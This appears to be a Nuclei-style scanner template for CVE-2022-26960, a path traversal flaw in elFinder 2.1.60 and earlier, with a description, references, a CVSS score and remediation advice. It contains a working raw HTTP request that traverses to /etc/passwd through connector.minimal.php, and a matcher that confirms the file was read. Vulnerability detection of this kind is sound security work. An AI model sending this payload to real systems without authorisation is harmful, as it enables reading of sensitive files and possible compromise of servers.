elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
PoC代码[已公开]
id: CVE-2022-26960
info:
name: elFinder <=2.1.60 - Local File Inclusion
author: pikpikcu
severity: critical
description: |
elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
remediation: |
Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability.
reference:
- https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
- https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
- https://www.synacktiv.com/publications.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-26960
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2022-26960
cwe-id: CWE-22
epss-score: 0.86387
epss-percentile: 0.9937
cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: std42
product: elfinder
tags: cve2022,cve,lfi,elfinder,std42
http:
- raw:
- |
GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022005c91760b498d3c3c2d0aae5cd6b2f879920c806158d7da35cf718330f666c2d022058dbb6c3038fb5e5635b2e532ce11acde413705d14b6090357aa5ed91e9b1a50:922c64590222798bb761d5b6d8e72950